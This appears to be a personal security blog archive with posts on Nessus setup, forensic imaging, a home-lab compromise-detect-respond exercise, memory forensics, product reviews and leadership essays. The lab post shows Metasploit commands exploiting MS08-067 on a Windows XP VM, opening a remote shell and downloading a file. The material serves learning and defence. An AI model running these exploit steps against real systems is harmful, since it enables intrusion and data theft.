Nessus Scanner – Quick Setup

Unfortunately, after my last CDR post  – for some unrelated reason, I had my main lab system crash and now I have to rebuild most of the different lab machines that I had before. Obviously, this is little frustrating because I had everything set up the way I wanted it and now I have to pretty much start from scratch. But to make this rebuilding process little more pleasant and productive, I think I am going to document and share some of the labs that I am going to build. Most of these are going to be pretty simple to setup without much difficulty using VMware Workstation. I am not going to go over setting up VMware Workstation since there are already a ton of YouTube videos on it.

First, we are going to select the platform that we are going to use for most of these machines – our choice: Ubuntu 13 Desktop.

The first tool that we are going to install is Nessus vulnerability scanner. In the first CDR project, we used Nessus as one of our reconnaissances tool along with Nmap. However, this tool can be used in just your lab or home network for identifying vulnerabilities in your systems.

We are going to be installing the latest version of Nessus v6 Home – as of this post. For the operating system, we will choose Ubuntu 11.10, 12.04, 12.10, 13.04, 13.10, and 14.04 AMD64 and download the .deb package.

Here are the sequence of commands after you have downloaded the package and opened the appropriate download directory in the terminal.

Nessus_installationWe are pretty much done. The only thing you need to check is if the Nessus service is running. Usually, it starts automatically but you can verify by running: service nessusd status. If the output shows stopped then simply run the following to start it: service nessusd start.

After above, open your browser and type your IP and port 8834. You can find your IP address by running ifconfig in your terminal. My IP address on this machine is 192.168.244.178.

LocalIP

 

You should get a similar page as above. Follow through the prompt and in couple screens you will have the option to create an initial account for your Nessus scanner. After that, you will need to provide Plugin Feed Registration. For home use, you can request the activation code by completing the following: http://www.tenable.com/products/nessus-home

After completing all the steps thus far – you are done with installing your Nessus scanner. Now you need to configure your scans. Following are the basic steps to configure a scan:

New Scan > Basic Network Scan > [Complete the General Page with the Name of the Scan and the target IPs]. On the left side, you have additional scan options that you can play around with. After you are done with making your selections, simply hit save and your scan will automatically start. The scan duration depends on the number of IPs that you are scanning and if they are credentialed or non-credentialed.

After your scan completes you will be able to see the scan results and drill down on each host to see the details on the findings.  Later you can also run just reports against previously completed scan.

This is pretty much all you need to do for the basic setup. Feel free to run more scans and try to run a credentialed scan as they will provide most comprehensive vulnerability information and its also least intrusive on your target systems.

Until next time!

 

Advertisements
Tagged , ,

Physical Drive Image With Plugable USB Hub

The other day I was trying to image a physical 250GB desktop hard drive using FTK Imager but I continued to get the following error under status: Failed: The specified network name is no longer available. This was the first time that I received this error so first I was not sure what caused it. Here was my setup:

The error was little random in that it would fail at different places – anywhere between 2% – 13%. My first thought was that the docking station was bad; so I took out my WiebeTech write-blocker and attempted to image the drive again. But I received the same error at 6%. At this point, I knew that the docking station was fine and that the problem had to be with either the FTK Imager software, Windows Server 2012 (my first time using Server 2012 during imagining) or the USB hub. I decided to start with the hub; I unplugged the docking station from the hub and connected it directly to the server’s USB port – skipping the hub completely. I started FTK Imager and began the imagining process – and to my surprise, the imaging completed without any errors!

From the 7 ports provided by the hub, only one port was being utilized (connected only to the docking station) eliminating the possibility of the overwhelmed hub. In fact, the hub worked fine when I copied large operating system .iso files from an external hard drive to the server. So, I am not sure where the problem is the hub but in this situation, I was unable to image a relatively small hard drive due to this hub.

Tagged , ,

Response – Case 001-02

Continuation of case 001-01

Response

We already know that our Windows XP machine is compromised so we will proceed with collecting memory of the system. In addition, we will run some sysinternal tools to confirm the network communication to the malicious IP and determine the process which was involved in this communication.

To accomplish this task I used a batch script that I wrote sometime back which utilizes a number of sysinternal tools in conjunction with a raw memory dump tool. In result, we were not only able to collect the raw memory dump of the target machine but we also got access to volatile data that can be quickly analyzed.

First, we will take a look at the volatile (sysinternal) data:

From the response side, the only solid piece of information that we can use to pivot our analysis from is the connection between from our compromised machine (Windows XP @ 10.0.0.15) to the malicious host (Metasploit @ 10.0.0.23). And if you recall, we got this information from the numerous IDS alerts that we received during the Detection step. So based on this, the first volatile data that we will look at is the active connections on our compromised machine.

Active Connection

Active Connections

The active connections information above not only further confirms that our XP system is compromised but it also gives us our second pivot point – process ID 1128.

The next thing we find out is the process name associated with PID  1128; we pull the process list of our host:

Process List Tree

Process List Tree

According to above, the PID 1128 is another instance of SVCHOST.EXE and what is even more interesting is that this process is the parent process of two additional processes: PID 1808 WSCNTFY.EXE and PID 2024 WUAUCLT.EXE.

Pretty quickly we have been able to identify key information from just reviewing the output from our sysinternal tools. Now we’ll get into analyzing the memory dump of our system.

Volatility is what we will use to perform analysis of our system’s memory. First I want to see if there are any additional processes whose parent is PID 1128 SVCHOST.EXE. And in fact, by running the pstree plugin we see that a CMD.EXE process also points back to PID 1128. In addition, we see that our suspicious PID 1128 was spun off by PID 724 SERVICES.EXE.

Volatility Process Scan

Volatility Process Scan

The above pstree output is particularly interesting because when we initially reviewed the output of our sysinternal tools we only saw two sub-processes of PID 1128 but there was one more which was missed by our sysinternal tool. Similarly, we want to now use Volatility’s connscan plugin to identify all the connections to and from our malicious 10.0.0.23 IP.

Volatility TCP Connections

Volatility TCP Connections

We now see that there was total of 6 network connections communicating with our malicious IP. But the good thing is that they were all associated with the same PID. So it seems like all the evil on our machine is related to PID 1128 and it’s sub-processes: PID 1808, PID 2024 and PID 1768. It would be safe to assume that code was injected into PID 1128 SVCHOST.EXT process by our bad guy and then executed the other two malicious processes; we can quickly confirm this:

Volatility Code Injection

Volatility Code Injection

Voaltiltiy’s malfind plugin confirms that PID 1128 contains header which looks to be for Microsoft Portable Executable files – thus confirms injected memory section.

Now we are going to look further into the two sub-processes by dumping out every memory section that belongs to them and perform reputation check. First, we’ll take the hash of the processes and check in VirusTotal online database to see if any data on these processes already exist.

PID 1808 WSCNTFY.EXE:

No existing data on this process. After uploading the executable – we received a low number of detection ratio; analysis results.

PID 2024 WUAUCLT.EXE

No existing data on this process. After uploading the executable – we also received a low number of detection ratio; analysis results.

 PID 1768 CMD.EXE

No existing data on this process; did not upload the process for further analysis.

Based on the above results – it would be safe to say that a malicious software was not delivered on our machine. (which is true because if you go back and check the Compromise stage 1 & 2 – we did not deliver any malicious content on to our target).

So if a malicious software was not delivered – then what happened? To answer this we will use our systems disk image and create a system timeline. But before we do that – we will try to catch any “low hanging fruits”.

The first thing we did was mount the target system’s image in read-only mode and scan it using couple anti-virus software. In this case, our results came back clean. But if they had come back with any findings those could have been our next lead in the process.

The second thing that I would normally do is “malware footprinting” – this is when you have a piece of suspicious code and you want to see what it does when it is executed. From this, you are able to collect your indicator of compromise (IOCs) and search the rest of your environment for those IOCs. Unfortunately, in this case – we have not found a malicious code and cannot do this process.

However, even though we did not identify any malicious program – we did review the persistence mechanism by looking at the results of our autoruns; output can be found here. The output does not indicate evidence of persistence.

Next up, prefetch. The prefetch analysis of our compromised system also did not provide any additional leads. The primary reason for this is because the majority of the prefetch entries consisted of the sysinternal tools (without even meeting the 128 limit) that we ran during the acquisition setup – thus deemed useless. Copy of the prefetch report here.

Lastly, we look at system’s overall timeline. The timeline for the system also does not jump out with any significant amount of information in terms of how the compromise actually took place. With just using the intelligence that we collected from our memory analysis (src/dst IPs, processes); we did not find any further information that would help us put the picture together of what happened.

On the other hand, when we search for that Important.txt file that we created and then later copied out; there are quite a lot of entries about this file:

time type description
17:59:10 Created C:/Documents and Settings/Administrator/My Documents/Important.txt.txt
17:59:18 $SI […B] time /Documents and Settings/Administrator/Recent/Important.txt.lnk
18:00:17 Modified C:/Documents and Settings/Administrator/My Documents/Important.txt.txt
18:03:51 Access C:/Documents and Settings/Administrator/My Documents/Important.txt.txt
18:03:54 Last Visited/Last Visited visited file:///C:/Documents%20and%20Settings/Administrator/My%20Documents/Important.txt.txt
18:03:54 $SI [MAC.] time /Documents and Settings/Administrator/Recent/Important.txt.lnk
18:03:54 Last Access/Last Access visited file:///C:/Documents%20and%20Settings/Administrator/My%20Documents/Important.txt.txt
18:04:01 Modified C:/Documents and Settings/Administrator/My Documents/Important.txt
18:04:01 $SI […B] time /Documents and Settings/Administrator/My Documents/Important.txt
18:04:01 Created C:/Documents and Settings/Administrator/My Documents/Important.txt
18:04:06 File deleted DELETED C:/Documents and Settings/Administrator/My Documents/Important.txt.txt
18:06:19 Access C:/Documents and Settings/Administrator/My Documents/Important.txt
18:06:19 Last Visited/Last Visited visited file:///C:/Documents%20and%20Settings/Administrator/My%20Documents/Important.txt
18:06:19 File opened Recently opened file of extension: .txt – value: Important.txt
18:06:19 Last Access/Last Access visited file:///C:/Documents%20and%20Settings/Administrator/My%20Documents/Important.txt
18:06:47 $SI [M.C.] time /Documents and Settings/Administrator/My Documents/Important.txt
18:46:47 $SI [.A..] time /Documents and Settings/Administrator/My Documents/Important.txt

The above events clearly indicate the creation of our Important.txt file and the subsequent events show accessing of that file; however – not exactly sure why it shows the file getting deleted at 18:04:06 because we did not delete the file, instead we just copied it over.

So with above – we still have several questions unanswered, however, by the end of our above analysis, we do know that our system was, in fact, communicating with the malicious hosts and several active/inactive connections were found to confirm this finding. In addition, we know that the compromise took place in a very short period of time – in which there does not seem to be any evidence of malicious code being installed, delivered or executed. Based on the system’s web and removable device analysis – we can confirm that the compromise did not take place from these areas. Lastly, we know that during the short timeframe of the compromise the Important.txt file was created (bec we did that during the compromise stage) and accessed numerous times. And while we do not have any further information to confirm that this file was accessed (or copied out)by the malicious source – it would be realizable to assume that whatever was contained in that txt file is potentially compromised.

Case Conclusion

There are couple things I would like to mention as we close out our first case. First, I would like to go over few disclaimers around how this case was set up.

The target XP host and our attacker machine were on the same network with no security measures in place (other than the passive IDS). The XP host had its firewall off and no anti-virus was installed. And this is one of the reasons why we do not have a lot of evidence around what took place in this compromise from the response stage. I was able to extract the XP local event logs, however, probably due to some corruption, was unable to open them for analysis.

Secondly, I believe if we had packet capture capability (or just Netflow) set up during this lab, then we would have been able to confidently determine that Important.txt file was in fact copied out from our XP machine; I plan to have this capability down the road.

The third point that I want to add here is related to the sysinternal batch script that we used during the initial Response stage. Even though the script’s output provided us with useful information very early in the Response stage but as we got closer to system file and timeline analysis we noticed that a lot of our results were polluted with our sysinternal tool executions. An overall lesson learned here.

Lastly, the goal of this exercise was to do a complete cycle of Compromise and Response without carrying over the knowledge between the stages. And for that reason, I did not look into how our selected Metasploit payloads operate and how they copy files over. Because unless our Response artifacts indicated the usage of those payloads (or even Metasploit) – it would have been cheating to use that information during Response.

With that said, I am sure that I overlooked artifacts during my analysis and which could have been the game-changers. And this is the whole point of these exercises, for me to do my best and then let others review what I have done and provided feedback on what I could do better. For this reason, I will be more than happy to share the case images to whoever that wants to take another stab at it. Just send me a message using the form on the contact page and I will share the link for the download. Thanks!

Tagged , ,

Compromise, Detect, Respond – Project Kickoff – 001-01

I am sure that most of you have heard that in order for you to be good at any one specific security domain you need to have a solid understanding of the opposite domain as well. This is especially true between good and bad guys. You cannot be a great responder if you do not understand some of the basic techniques bad guys are using to break into your environment. Similarly, in order for you to successfully penetrate and maintain persistence in your target environment, you need to understand how forensicators track your movements.

Like many of you, I have heard this concept during many presentations and conferences. And like many of you, I have wondered how do I best accomplish this task myself. I, for one, aren’t an expert in any specific domain so in order for me to just catch up on the opposite domain – would actually require doing both sides – good and bad. And so with this exact idea in mind, I am kicking off – which I am hoping is going to be a series of posts that will encompass the complete cycle: compromise -> detect -> respond (CDR).

Now, like I said in the beginning, I do not specialize in any particular domain but what I am hoping out of this project is that I will gain not only just a better but a holistic understanding of the core domains that make up infosec. So with this in mind, here is my setup.

I have setup three different environments with the basic, free tools that will help me with each of the CDR stages:

Compromise – Metasploit, Armitage, Nessus, SET
Detect – EXE Radar Pro (trial), different A/Vs,  Snorby IDS (Thanks to dfinf2 for showing me the ropes on setting this up initially. I had to re-purpose this – but down the road, i plan to expand IDS capability.)
Respond – SIFT, Redline, Splunk

In addition to the above tools repository – each environment has a diverse group of vulnerable machines that will be used as targets.

The last thing I want to cover before the official kick-off is that during this whole process my goal will to be to go through all three of the CDR stages as quickly as possible with the least amount of effort. The idea behind this is that in the real world there isn’t a lot of time to get answers; typically you have a short period of time to get as much done as possible so that is what I plan on doing with these exercises. In addition, I will not be documenting each of the steps that I take. There are more than enough online guides that walk you through – for example how to use Metasploit against a specific target so there isn’t a point for me to just duplicate that work. In fact, during these exercises, I plan to use those same guides since I necessary don’t know how to use Metasploit myself :)

With that i think i have covered all the overview topics that i wanted to cover. But as environments, tools and other things change i will mention them in the future posts. And now it’s time to kick off our first CDR – and whats a better way to kick off than using XP as your target!

———————

case: 001-01

Target: WinXPProSP2 @ 10.0.0.15

Compromise
I started with basic nmap reconnaissances scan to see what i had open on the target machine.

Nmap scan report for 10.0.0.15
Host is up (0.00040s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:91:68:A0
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop

The nmap report above only shows three TCP ports open on our target system. But it does confirm the OS of the system and the network connectivity.  The next thing that I did was spend some time researching online for XP Metasploit exploits that I could use in this exercise. And in no-time i had few exploits that would give me remote access to the target system.

Here is the first one:

Name: Microsoft Server Service Relative Path Stack Corruption
Module: exploit/windows/smb/ms08_067_netapi
Version: 0
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great

And now the payload – nothing like the VNC Inject for the first exercise!

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set payload windows/vncinject/bind_tcp
payload => windows/vncinject/bind_tcp
msf exploit(ms08_067_netapi) > set rhot 10.0.0.15
rhot => 10.0.0.15
msf exploit(ms08_067_netapi) > check
msf exploit(ms08_067_netapi) > set RHOST 10.0.0.15
RHOST => 10.0.0.15
msf exploit(ms08_067_netapi) > check

[*] Verifying vulnerable status… (path: 0x0000005a)
[+] The target is vulnerable.
msf exploit(ms08_067_netapi) > exploit

And just like that we have Metasploit Shell (in blue) and we can remotely see the target system’s desktop (the black command prompt windows is on the target system)

MetasploitShell

MetasploitShell

Detection

At this point, we have successfully been able to compromise the target system (using probably one of the oldest exploit for XP – but we are just getting started!). But before we move forward – with little more of compromise let’s check what, if anything we have from the detection point of view after our first attack.

Here is what we see in the IDS so far:

detection_20140817-01

IDS VNC Detection

Now besides the fact that IDS triggered on our first exploit – I am even more happy to see that our IDS deployment is working overall!

Now let’s look at some of the alert details. The first alert seems to be indicating that a Metasploit reverse shell with an executable code was detected. The other three alerts are related with a critical known buffer overflow vulnerability that exists in unpatched versions of MS.

Based on the above information – we have the basic information to initiate the response stage. We know the malicious source IP as well as the IP of the impacted host in our environment. But before we move forward with the response – let’s just do a little bit more of compromise and see if we get successful in our second attempt or not.

Compromise 2

In the second Compromise stage, we are using the same exploit as the first Compromise (ms08_067_netapi), however, our payload is now different.

msf exploit(ms08_067_netapi) > set payload windows/shell/bind_tcp

payload => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > set rhost 10.0.0.15
rhost => 10.0.0.15
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP – Service Pack 2 – lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability…
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.0.0.15
[*] Command shell session 2 opened (10.0.0.23:59317 -> 10.0.0.15:4444) at 2014-06-22 17:49:04 -0400

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

As you will notice from above that our payload successfully delivered on the target system and in return give us access to target system’s shell. Now to make this scenario more interesting, I created a text file on the Windows XP target machine and named it Important.txt in My Documents under the Administrator account. Now my goal will be to read the content of that file from my Metasploit system and possibly copy it out to my local hacking machine.

Accessing Important.txt File

Accessing Important.txt File

In the screenshot above we are able to change directory from C:\WINDOWS\system32 and go to My Documents of the Administrator account and view the content of the Important.txt file.

So with above, our first goal is completed – we have been able to read the content of the Important.txt file. Now the second goal was to copy out the file on our local Metasploit machine. For this, we established another session with our target windows machine and instead of a windows shell, this time we got a meterpreter session after our payload.

Download Important.txt From Target To Local System

Download Important.txt From Target To Local System

After the successful payload delivery, we ran the getpid command to see which process on the target machine we’re binding with (this will be handy in the Response step). After that, we changed directories to administrator user’s documents and downloaded the Important.txt successfully.

This concludes the Compromise 2 stage. At this time our target windows XP system is severely owned! – the IDS has triggered now the total of 12 alerts related to this event:

Total IDS Alerts

Total IDS Alerts

Now we will move towards the Response phase.

Response

We already know that our Windows XP machine is compromised so we will proceed with collecting the memory of the system. In addition, we will run some sysinternal tools to confirm the networking communication to the malicious IP and determine the process which was involved in this communication…

Tagged , ,

Support For Your Anti-Virus

A few months ago I published two blogs about having additional layers of security for your home computers. You can read them here: part 1 and part 2. The goal of those two blogs was to first bring awareness – using my personal experience around how we simply cannot rely on anti-virus software to protect our personal computers. And second to demonstrate how effective some free browser extensions are in reducing unwanted and potentially malicious programs from downloading in the background without much of our knowledge or interaction.

This blog is not exactly a continuation of the other two but it is definitely related. While in the previous posts I focused on free extensions, however in this post I want to talk about an application that is though not free but definitely worth looking into.

The EXE Radar Pro application from NoVirusThanks group (besides this particular software this group has a bunch of free and extremely useful online utilities that I have been using for sometime and you should check those out too!). As far as the EXE Radar Pro goes – it is for $19.99 with the option to try free for 30 days. They do a pretty straightforward job explaining what the software does so I won’t waste time repeating what is already there. Instead, I will briefly explain my experience with this software; both the pros and cons.

First the pros: the software is easy to install and seems to get to work immediately. There isn’t a lot of configuration or overly complicated interface that you need to worry about; it simply sits in your windows tray and all of the management is done by selecting the tray icon. Some of the more specific features that I like about this software is that I think this is the closest that you can get to an enterprise level endpoint monitoring software for such a low price. The software pretty much tracks all the running system processes, the associated parent process, and monitors as new processes start. You also have to the ability to tag processes to either a blacklist or a whitelist based on what you think should be allowed or blocked. The software does prompt you when it thinks a suspicious/unknown process is trying to run. I believe some of the basic checks that it does to determine a good from a bad process it by simply checking if the process itself is digitally signed and if the process is making any specific/unusual command arguments. In fact, it presents all this information on the prompt dialog:

EXE Radar Pro - Prompt Alert

 

From the dialog above you can simply choose to allow, block or use the drop-down arrow to add the process to either the white/blacklist.  While the above dialog box is well designed and self-explanatory – I also experienced some annoying cons with this dialog. For example, when you are prompted with the dialog box you do not have the option to ignore it. You can move it around the screen to get it out of the way but you have to make the decision to either allow/block. In addition, until you make your selection – you will not be able to execute another process. For example, when the above prompt came up on my screen and I wanted to take the screenshot using the Microsoft built-in snipping tool – I was not able to because the snipping application would not execute until I made my selection in the dialog box (I was able to do it using the keyboard print screen key).

The second major con that I experienced is that on each boot of the system there would a half-dozen prompts that I had to go through before the system would be fully up and functional. I understand that there is some learning that is involved in the beginning of the software but even after two weeks and several whitelisting, I would still receive numerous prompt during startup. And as you can imagine, when you are trying to get something done quickly – these prompt becoming irritating. In fact, one of the applications that EXE Radar Pro did not like in particular was Splunk. Well before I downloaded EXE Radar Pro – I had the Splunk Free installed on the computer to do basic log analysis. But when I installed EXE Radar Pro – I would constantly get prompts. Eventually, I became irritated and ended up uninstalling Splunk from the system. In fact, even during the uninstall process of Splunk, I had to hit Allow at least 8 times before the uninstall process completed.

Overall, EXE Radar Pro is a good software for personal use because it provides that additional layer of protection and control around what runs in your system. I would say that while the interface is simple and self-explanatory – an average user may not appreciate the frequency of the prompts, the technical details and the decision making that would be required. On the other hand, if you like to have such visibility and control of your system then for $19.99 you cannot go wrong with this software!

 

Tagged , ,

Overcoming Leadership Challenges – Part 2 : Current Times

Second part. Read the first part here.

There are several successful leaders from recent times that practiced Hannibal-like leadership style; A.P. Giannini is one of them – the man who created the largest bank in the United States, the Bank of America. Like Hannibal, Giannini started working at an early age and taught himself the ropes of the business. He believed in the unconventional ways of running banks such as lending loans to immigrants when no one else did. In addition, he was also very innovative and quickly adapted to situations. For example, when fires began to spread to cities from the destructive earthquake many banks saved their deposits in steel vaults for protection. However, anticipating the damage fire would have on steel, Giannini knew it would take weeks before they will be able to open the vault. So unlike other bankers, Giannini decided to remove the gold and securities from his vaults before and was immediately able to lend loans to thousands of people who suffered from the earthquake. In addition, while other banks were struggling to open their vaults, Giannini learned the importance of having a geographical presence of banks. This resulted in purchases of small banks in different states and made Bank of American the first bank to cross state lines. Lastly, like Hannibal, Giannini was not in it for the money; each year he only paid himself $50,000 and toward the end of his career when he was awarded $1.5 million bonus, he donated it to University of California.

Throughout his lifetime, Hannibal had to make numerous difficult decisions in times of crisis and motivated soldiers to continue their support while together achieving that common goal. Likewise, Lee Iacocca is an inspiring individual who saved the desperate Chrysler Corporation. Before joining Chrysler in 1978, Iacocca was president at Ford Motor Company and developed popular models like Mustang. However, the CEO of Ford did not like Iacocca and despite all of Iacocca’s accomplishments for the company, he refused to make him the CEO; shortly after which Iacocca was let-go from Ford.

At the same time, Chrysler was facing a tremendous amount of challenges and was quickly reaching complete shutdown. Iacocca accepted Chrysler’s offer for the CEO position and agreed to not take any compensation unless the company got back up on its feet. Iacocca understood the severity of the situation, however, like Hannibal was driven to destroy Rome, Iacocca ultimately wanted to prove Ford wrong for letting him go. To bring the company around, Iacocca had to persuade the federal government to lend loans to Chrysler arguing that the country could not afford for such a huge domestic auto manufacturers to fail. The Congress agreed to loan Chrysler $1.5 billion with the condition that it will pay back the government $2 billion on its own.
To bring change to the organization Iacocca had to make tough decisions; he had to persuade and gain the trust of workers to accept layoffs and cut wages to save the company. Iacocca decided to discontinue production of less popular models and introduced a new line of models, same which were rejected at Ford and ultimately became Chrysler’s most profitable lineup. Lastly, Iacocca went public to improve companies reputation and was featured in a commercial with the slogan of The pride is back.
In the end, Chrysler regained its reputation and profits while paying back the government much in advance. This was all made possible because of Iacocca’s Hannibal-like leadership style where he was driven by his mission and made others believe in his mission too.
In conclusion, Hannibal was a leader whose sole motivator was his mission and not personal gain of wealth; which I think played a major role in his success. He was a sharp thinker and was able to effectively bring unconventional ideas to life. In today’s competitive business world, this “translates into doing what has never been done before in industries where giants like Rome already exist.”

Moreover, I personally liked the comparison of Hannibal and Iacocca. The reason beginning is that in the recent recession the American auto industry faced a similar situation where they had to convince the government that they were “too big to fail”. Despite the scrutiny from the public, the auto industry was awarded bailout money. And fortunately, like before they came back stronger and began paying back to the government. In addition, Chrysler used the same come-back approach as they did in the 1980s where it introduced new innovative models like the all-electric Volt and the Imported from Detroit slogan.

I think the example of Chrysler beautifully shows that despite the changing times the successful leadership styles are the same. Like Hannibal, current leaders need to demonstrate an “irresistible will, intense focus, and a disciplined approach” in order to be successful and lead.

Tagged

Overcoming Leadership Challenges – Part 1 : In History

Not too long ago I had the opportunity of reading:  Forbes, Steve, and John Prevas. “Hannibal of Carthage .” Power ambition glory: the stunning parallels between great leaders of the ancient world and today — and the lessons you can learn. New York: Crown Business, 2009. Based on this reading, I am writing posts on the lessons that we can learn from Hannibal’s amazing leadership and also look at some successful leaders from recent times that I believe practiced Hannibal-like leadership style.


Whenever we remember a successful or an unsuccessful leader we tend to remember them for what they did. For example, we recognize Cyrus and Alexander for conquering and building empires. However, it is equally important to distinguish a leader for how he did things rather than just for what he did. Hannibal is one of those leaders in history who did the impossible: he led armies over mountains that no one thought could be crossed, and he went against a force that no one thought could be beaten. Hannibal was able to achieve such success by following the simple principles of staying focused, thinking ahead and managing details.

Hannibal was the son of Hamilcar who was the army general of an ancient state Carthage; located 300 miles from Rome. From the age of nine, Hannibal accompanied his father in battles and like his father, he soon grew eternal hatred for Rome. “I swear that so soon as age will permit…I will use fire and steel to arrest the destiny of Rome.”Soon after his father’s death Hannibal took command of the army and launched the mission against which he had been sworn.
One of the main reasons behind Hannibal’s unconventional success was his strong focus on the mission and respect for his followers. From the beginning, Hannibal strongly believed that as a leader if you provide enough motivation, discipline, and means for excelling self-interest you can get people to follow you to do anything. Like the other leaders of his time, Hannibal’s leadership style was authoritative and precise, however, he understood the importance of getting constant feedback from those he commanded. He led by example and never asked his soldiers to do anything that he would not be willing to do himself. That’s why a major portion of his leadership was around training and rewarding his soldiers; many of whom came from lower classes of society. In addition, Hannibal possessed incredible self-control and lived modestly. He “put his mission over his personal comforts and resisted being corrupted by wealth and success.

Moreover, Hannibal was a leader who always thought ahead in the future and projected outcomes. He was one of the few leaders who recognized the importance of having broader knowledge other than just military and political affairs. Before leaving for the war, he surrounded himself with scholars and learned both Greek and Latin – for cultural and strategic advantages. Soon he realized that the war between Rome and Carthage was inevitable and decided to take the first initiative which led to the Second Punic War.
Hannibal won several notable battles in Italy, however, his greatest accomplishment was crossing of the Alps – one of the most dangerous and treacherous mountain range covered with constant snow and unexpected weather conditions. Hannibal had 80,000 infantry, 12,000 cavalry, and 40 war elephants. Through this journey, they encountered several local tribes that attempted to initiate battles, however despite suggestions from his officers Hannibal refused to mobilize his soldiers. While some soldiers thought of this as a cowardly behavior on Hannibal’s behalf, however, this is an example of the thinking-ahead quality that Hannibal possessed. In addition, this shows great component of Hannibal’s leadership “understanding which battles are important to win and which would simply waste resources and deflect attention from the objectives.”

Nevertheless, by the time they finished crossing the mountain Hannibal had lost several good soldiers and the ones left were extremely tired and weak. Even though Hannibal was able to motivate his soldiers to keep moving by promising them “enough gold, silver, and slaves for a new start in life he knew that he had a bigger problem to handle. Hannibal knew that he could not take his soldiers with such lack of energy into traditional battle and had to think strategically. In the first encounter with Romans, Hannibal decided to attack in the dark early morning through freezing water; which seemed like a suicidal tactic to his officers. However, Hannibal’s plan involved ambush attack behind enemy lines which would surround enemy-soldiers when they retreated. Likewise, in another attack, Hannibal positioned his soldiers in such manners that the rising sun on the morning of the battle would blind the Romans and the dust raised by all the movement of men and animals would blow into the faces of the enemy as they advanced. Such great attention to detail from Hannibal greatly helped him win numerous battles and overcome obstacles. “Hannibal won his battles because he exploited every advantage that terrain, weather, and psychology could afford him.”

Tagged

LAYERED SECURITY FOR HOME USER – PART 2

This is the second part of my layered security for home users topic. Please read the part 1 first to get the full background.

Recently my father purchased a new laptop for both personal and work use. And like many parents, he is decent when it comes to technology; he is able to perform many of the basic computer functions such as email, YouTube, Skype, social media and online searches. But when it comes to security, like many others he simply relies on the anti-virus software. I usually install the anti-virus software and configure schedule scans for him but this time he was away and had his computer setup from the store he purchased it from. The store tech support installed the Norton 360 Suite. Now, even though I have my preferences when it comes to different anti-virus software vendors but when it comes to layered security it does not matter.

My father used his new laptop for roughly two months before he had me look at it. At first glance the system looked fine; the Norton 360 was not complaining about anything and the system performance was also fine. But when I opened the browsers (IE & Chrome) it was hard to locate the address bar – because the browser windows were covered with numerous advertising toolbars. Also, both browsers had a different homepage and default search engines had changed as well. At this point, I knew that some clean up was needed.

I started with my go-to-software: Malwarebytes. I used it to perform a full sweep of the system and after 3hrs it came back with more than 200 findings. And when I looked at the scan logs I found something interesting. Beside a hand-full of malicious executables, everything else was categorized as PUPs -Potentially Unwanted Program: “is a piece of software that is also downloaded when a user downloads a specific program or application.”

Now I have a previous experience responding to malicious activity generated by PUPs. Usually, this was done through an IDS alert when one of these PUPs beacon out. But in this case, my father’s system did not generate any IDS alerts; maybe because it had only been on the network for less than 3hrs. Regardless, I decided to remove all of the findings and then confirmed their removal by doing a subsequent scan.

And this is where the fun part begins. What do you do when you have cleaned up an infected system? Well, it’s time to place few protective measures. Most tech support personals perform this step by simply selling and installing a different anti-virus software. But this measure fails immediately because they do not take the time to understand how the system got infected in the first place and how the user uses his/her system.

In my father’s case, the system got infected due to his careless behavior while surfing online; this usually happens when he is searching. He has a hard time differentiating between legitimate links versus advertisements. And because of this, he tends to click on popups. Now, in a perfect world, you would do some security knowledge transfer and hope for a change in the behavior. However, this is not that easy so we have to complement this with something else. This is what has worked in my case: ad blocker.

I installed the AdBlock browser extension for both IE and Chrome on my father’s computer. This was in compliment to activating browsers built-in pop-up blocking functionality. The Adblock “blocks banners, pop-ups and video ads – even on Facebook and YouTube” – which is perfect for someone who surfaces the web most of the time.

However, in addition to ad-blocker, I also installed the DoNotTrackMe extension. The reason for this was because even though Adblock does a great job in blocking popups and other online advertisements but there is only so much that it can do due to today’s smart-advertisements. It is no surprise that online advertisement these days is very targeted – your online browsing behavior is tracked and based on this behavior you are presented with advertisements. This makes it extremely difficult to differentiate between legitimate search results versus advertisements.

During the time that I monitored my father’s machine (~3 weeks) with both of these extensions enabled, I noticed a significant decrease in the number of malware and PUPs installed on the system. In fact, during this time I ran 4 Malwarebytes scans and it came back with between 5-8 findings. Interesting enough, by the end of my monitoring the Adblock extension had blocked 6,370 ads and DoNotTrackMe blocked 4,269 trackers.

In conclusion, layered security has proven to be effective in our enterprises and now its time that we take this idea and implement it in our home systems. The free browser extension solution that I present here is by no means complete or elaborate, however, in my test above it has proven to be effective in blocking drive-by downloads (at a basic level) at a $0 cost!

Tagged , ,

Zotero Review

Browser extension: Zotero

The most difficult part of the research process is keeping track of all of your sources. The traditional methods have been that you print all the pages that you visit, or copy and paste the text from the web sources into a Word document. However, the problem with those methods is not only are they troublesome but also the chance of misplacing them is greater. Moreover, when you are done with your paper and you have to create a citation for each of your sources one-by-one is not only time consuming but also increases factor of human error.

Zotero is a free Mozilla Firefox add-on which makes it easy to organize your sources and searches. It does that by saving the snapshot of the pages and saving the links. The best feature of the add-on is that it automatically creates the citation for your saved sources in both APA and MLA format. In addition, since it is fully compatible with both Microsoft Office and Open Office; you can directory copy your citation into that software.

Another great feature that I like is that you are able to sync your files with Zotero’s online server. This provides not only sense of security that your files are backed up, but also if you log-in from an alternative computer you can still view all your saved sources. In addition, Zotero allows you to share your source with other people. For that, all you have to do is create a new group, place the files that you want to share and sync. You can send an invitation to your group to as many people as you want and they can all view and make changes to your document. This makes group collaboration much easier.

Personally, I’ve been just introduced to Zotero and I love all the user-friendly features that it has to offer. Whenever I am surfing the internet and I come across an article of news that I could use later I simply open Zotero add-on and save a snapshot. In addition, Zotero’s highlight feature comes very convenient t as well. It allows me to highlight text right from the snapshot so that when I come back to that article I know exactly why I saved it in the original place.

